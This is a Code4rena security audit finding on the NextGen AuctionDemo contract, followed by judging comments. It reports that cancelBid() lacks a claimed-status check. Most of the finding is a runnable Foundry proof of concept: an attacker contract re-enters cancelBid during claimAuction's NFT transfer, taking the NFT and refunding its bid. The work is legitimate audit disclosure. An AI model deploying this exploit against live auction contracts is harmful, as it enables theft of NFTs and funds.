Platform: Code4rena
Start Date: 30/10/2023
Pot Size: $49,250 USDC
Total HM: 14
Participants: 243
Period: 14 days
Judge: 0xsomeone
Id: 302
League: ETH
Rank: 212/243
Findings: 1
Award: $0.00
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: smiling_heretic
Also found by: 00decree, 00xSEV, 0x180db, 0x3b, 0x656c68616a, 0xAadi, 0xAleko, 0xAsen, 0xDetermination, 0xJuda, 0xMAKEOUTHILL, 0xMango, 0xMosh, 0xSwahili, 0x_6a70, 0xarno, 0xgrbr, 0xpiken, 0xsagetony, 3th, 8olidity, ABA, AerialRaider, Al-Qa-qa, Arabadzhiev, AvantGard, CaeraDenoir, ChrisTina, DanielArmstrong, DarkTower, DeFiHackLabs, Deft_TT, Delvir0, Draiakoo, Eigenvectors, Fulum, Greed, HChang26, Haipls, Hama, Inference, Jiamin, JohnnyTime, Jorgect, Juntao, Kaysoft, Kose, Kow, Krace, MaNcHaSsS, Madalad, MrPotatoMagic, Neon2835, NoamYakov, Norah, Oxsadeeq, PENGUN, REKCAH, Ruhum, Shubham, Silvermist, Soul22, SovaSlava, SpicyMeatball, Talfao, TermoHash, The_Kakers, Toshii, TuringConsulting, Udsen, VAD37, Vagner, Zac, Zach_166, ZdravkoHr, _eperezok, ak1, aldarion, alexfilippov314, alexxander, amaechieth, aslanbek, ast3ros, audityourcontracts, ayden, bdmcbri, bird-flu, blutorque, bronze_pickaxe, btk, c0pp3rscr3w3r, c3phas, cartlex_, cccz, ciphermarco, circlelooper, crunch, cryptothemex, cu5t0mpeo, darksnow, degensec, dethera, devival, dimulski, droptpackets, epistkr, evmboi32, fibonacci, gumgumzum, immeas, innertia, inzinko, jasonxiale, joesan, ke1caM, kimchi, lanrebayode77, lsaudit, mahyar, max10afternoon, merlin, mrudenko, nuthan2x, oakcobalt, openwide, orion, phoenixV110, pontifex, r0ck3tz, rotcivegaf, rvierdiiev, seeques, shenwilly, sl1, slvDev, t0x1c, tallo, tnquanghuy0512, tpiliposian, trachev, twcctop, vangrim, volodya, xAriextz, xeros, xuwinnie, y4y, yobiz, zhaojie
0 USDC - $0.00
https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L104 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L124
The claimAuction() function in AuctionDemo.sol is vulnerable to an exploit where an attacker can steal an NFT from the auction without making a legitimate payment. This vulnerability arises due to a lack of proper validation within the cancelBid function. If an attacker calls the claimBid function as the highest bidder with the block.timestamp == getAuctionEndTime(_tokenid) they can receive the NFT once it's transferred to the attacker contract. Since there is no status (auctionClaim[_tokenid]) check within cancelBid(), the attacker can then proceed to call cancelBid(), resulting in a refund of the ether.
This vulnerability can have significant consequences, allowing malicious actors to acquire NFTs without following the intended payment process. It undermines the fairness and security of the auction mechanism, potentially leading to financial losses for legitimate participants and the auction organizer.
The POC is written in foundry, you just have to call the following command forge test --mt test_attack -vv
// SPDX-License-Identifier: SEE LICENSE IN LICENSE pragma solidity 0.8.20; import {auctionDemo} from "../smart-contracts/AuctionDemo.sol"; import {console} from "forge-std/Test.sol"; contract AttackAuction { auctionDemo auctiondemo; address owner; constructor(address _auctionAddress) { auctiondemo = auctionDemo(_auctionAddress); owner = msg.sender; } function onERC721Received( address _sender, address _from, uint256 _tokenId, bytes memory _data ) external returns (bytes4 retval) { auctiondemo.cancelBid(10000000002, 3); return AttackAuction.onERC721Received.selector; } receive() external payable {} }
// SPDX-License-Identifier: SEE LICENSE IN LICENSE pragma solidity 0.8.20; import {IERC721} from "../smart-contracts/IERC721.sol"; import {console, Test} from "forge-std/Test.sol"; import {DemoScript} from "../script/Demo.s.sol"; import {auctionDemo} from "../smart-contracts/AuctionDemo.sol"; import {AttackAuction} from "../poc/AttackAuction.sol"; contract AuctionDemoTest is Test { auctionDemo private auctiondemo; DemoScript private demoscript; AttackAuction private attackauction; address user1 = makeAddr("user1"); address user2 = makeAddr("user2"); address user3 = makeAddr("user3"); address addr1 = makeAddr("addr1"); address addr2 = makeAddr("addr2"); address attacker = makeAddr("addr3"); function setUp() external { demoscript = new DemoScript(); demoscript.run(); auctiondemo = new auctionDemo( address(demoscript.nextgenmintercontract()), address(demoscript.nextgencore()), address(demoscript.nextgenadmins()) ); vm.prank(attacker); attackauction = new AttackAuction(address(auctiondemo)); vm.deal(user1, 5 ether); vm.deal(user2, 5 ether); vm.deal(user3, 5 ether); vm.deal(address(attackauction), 50 ether); // Create a collection & Set Data string[] memory collectionScripts = new string[](1); collectionScripts[0] = "desc"; vm.startPrank(demoscript.admin()); demoscript.nextgencore().createCollection( "Test Collection 1", "Artist 1", "For testing", "www.test.com", "CCO", "<https://ipfs.io/ipfs/hash/>", "", collectionScripts ); demoscript.nextgencore().createCollection( "Test Collection 2", "Artist 2", "For testing", "www.test.com", "CCO", "<https://ipfs.io/ipfs/hash/>", "", collectionScripts ); // // registerCollectionAdmin demoscript.nextgenadmins().registerCollectionAdmin(1, addr1, true); demoscript.nextgenadmins().registerCollectionAdmin(2, addr2, true); vm.stopPrank(); vm.startPrank(addr1); demoscript.nextgencore().setCollectionData( 1, // _collectionID addr1, // _collectionArtistAddress 2, // _maxCollectionPurchases 50, // _collectionTotalSupply 1000 // _setFinalSupplyTimeAfterMint ); vm.stopPrank(); vm.startPrank(addr2); demoscript.nextgencore().setCollectionData( 2, // _collectionID addr1, // _collectionArtistAddress 1, // _maxCollectionPurchases 100, // _collectionTotalSupply 1000 // _setFinalSupplyTimeAfterMint ); vm.stopPrank(); vm.startPrank(demoscript.admin()); demoscript.nextgencore().addMinterContract( address(demoscript.nextgenmintercontract()) ); // // Set Randomizer Contract demoscript.nextgencore().addRandomizer( 1, address(demoscript.nextgenrandomizernxt()) ); demoscript.nextgencore().addRandomizer( 2, address(demoscript.nextgenrandomizernxt()) ); vm.stopPrank(); // Set Collection Costs and Phases vm.startPrank(addr1); demoscript.nextgenmintercontract().setCollectionCosts( 1, // _collectionID 0, // _collectionMintCost 0, // _collectionEndMintCost 0, // _rate 100, // _timePeriod 1, // _salesOptions 0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B // delAddress ); vm.stopPrank(); vm.startPrank(addr2); demoscript.nextgenmintercontract().setCollectionCosts( 2, // _collectionID 1 ether, // _collectionMintCost 1 eth 0.1 ether, // _collectionEndMintCost 0.1 eth 0.1 ether, // _rate 200, // _timePeriod 2, // _salesOptions 0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B // delAddress ); vm.stopPrank(); // Set Collection Phases vm.startPrank(addr1); demoscript.nextgenmintercontract().setCollectionPhases( 1, // _collectionID 1696931278, // _allowlistStartTime 1696931278, // _allowlistEndTime 1696931278, // _publicStartTime 1796931278, // _publicEndTime 0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870 // _merkleRoot ); vm.stopPrank(); vm.startPrank(addr2); demoscript.nextgenmintercontract().setCollectionPhases( 2, // _collectionID 1698138500, // _allowlistStartTime 1698138500, // _allowlistEndTime 1698138500, // _publicStartTime 1796931278, // _publicEndTime 0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870 // _merkleRoot ); vm.stopPrank(); // Minting bytes32[] memory merkleroots = new bytes32[](1); merkleroots[ 0 ] = 0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870; vm.startPrank(user1); vm.warp(1796931278); demoscript.nextgenmintercontract().mint( 1, // _collectionID 2, // _numberOfTokens 0, // _maxAllowance '{"tdh": "100"}', // _tokenData addr1, // _mintTo merkleroots, // _merkleRoot addr1, // _delegator 2 //_varg0 ); vm.stopPrank(); vm.startPrank(user2); vm.warp(1796931278); demoscript.nextgenmintercontract().mint{value: 1 ether}( 2, // _collectionID 1, // _numberOfTokens 0, // _maxAllowance '{"tdh": "100"}', // _tokenData addr2, // _mintTo merkleroots, // _merkleRoot addr2, // _delegator 2 //_varg0 ); vm.stopPrank(); } function test_attack() external { // the nft is minted vm.startPrank(demoscript.admin()); vm.warp(1706931278); demoscript.nextgenmintercontract().mintAndAuction( addr1, '{"tdh": "100"}', 2, 1, 1786931278 ); vm.stopPrank(); // user1 participate in auction vm.startPrank(user1); vm.warp(1705231278); auctiondemo.participateToAuction{value: 1 ether}(10000000002); vm.stopPrank(); // user2 participate in auction vm.startPrank(user2); vm.warp(1705231278); auctiondemo.participateToAuction{value: 2 ether}(10000000002); vm.stopPrank(); // user3 participate in auction vm.startPrank(user3); vm.warp(1705231278); auctiondemo.participateToAuction{value: 3 ether}(10000000002); vm.stopPrank(); // attacker participate in auction vm.startPrank(address(attackauction)); vm.warp(1705231278); auctiondemo.participateToAuction{value: 6 ether}(10000000002); vm.stopPrank(); // approval the auction to send nft vm.startPrank(addr1); IERC721(address(demoscript.nextgencore())).approve( address(auctiondemo), 10000000002 ); vm.stopPrank(); // claim the nft vm.startPrank(address(attackauction)); vm.warp(1786931278); auctiondemo.claimAuction(10000000002); vm.stopPrank(); assertEq(address(auctiondemo).balance, 0); assertEq(address(attackauction).balance, 50 ether); assertEq( IERC721(address(demoscript.nextgencore())).ownerOf(10000000002), address(attackauction) ); } }
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; import "forge-std/Script.sol"; import {DelegationManagementContract} from "../smart-contracts/NFTdelegation.sol"; import {randomPool} from "../smart-contracts/XRandoms.sol"; import {NextGenAdmins} from "../smart-contracts/NextGenAdmins.sol"; import {NextGenCore} from "../smart-contracts/NextGenCore.sol"; import {NextGenRandomizerNXT} from "../smart-contracts/RandomizerNXT.sol"; import {NextGenMinterContract} from "../smart-contracts/MinterContract.sol"; contract DemoScript is Script { DelegationManagementContract public delegationmanagementcontract; randomPool public randompool; NextGenAdmins public nextgenadmins; NextGenCore public nextgencore; NextGenRandomizerNXT public nextgenrandomizernxt; NextGenMinterContract public nextgenmintercontract; address public owner = makeAddr("owner"); address public admin = makeAddr("admin"); function setUp() public {} function run() public { // uint256 deployerPrivateKey = vm.envUint("PRIVATE_KEY"); vm.startBroadcast(); delegationmanagementcontract = new DelegationManagementContract(); randompool = new randomPool(); nextgenadmins = new NextGenAdmins(); nextgencore = new NextGenCore( "Next Gen Core", "NEXTGEN", address(nextgenadmins) ); nextgenrandomizernxt = new NextGenRandomizerNXT( address(randompool), address(nextgenadmins), address(nextgencore) ); nextgenmintercontract = new NextGenMinterContract( address(nextgencore), address(delegationmanagementcontract), address(nextgenadmins) ); // register admins nextgenadmins.registerAdmin(admin, true); // nextgenadmins.registerFunctionAdmin(functionadmin, 0x46372ba6, true); vm.stopBroadcast(); } }
Manual Audit, Foundry, Vscode
This validation should be added to cancelBid()
Invalid Validation
#0 - c4-pre-sort
2023-11-15T07:52:04Z
141345 marked the issue as duplicate of #1172
#1 - c4-pre-sort
2023-11-27T10:54:15Z
141345 marked the issue as not a duplicate
#2 - c4-pre-sort
2023-11-27T10:54:28Z
141345 marked the issue as duplicate of #962
#3 - c4-judge
2023-12-04T21:41:01Z
alex-ppg marked the issue as duplicate of #1323
#4 - c4-judge
2023-12-05T21:17:59Z
alex-ppg marked the issue as satisfactory
#5 - c4-judge
2023-12-08T18:06:40Z
alex-ppg marked the issue as partial-50
#6 - sagetony
2023-12-16T08:25:16Z
Please can I know why my report was marked partial-50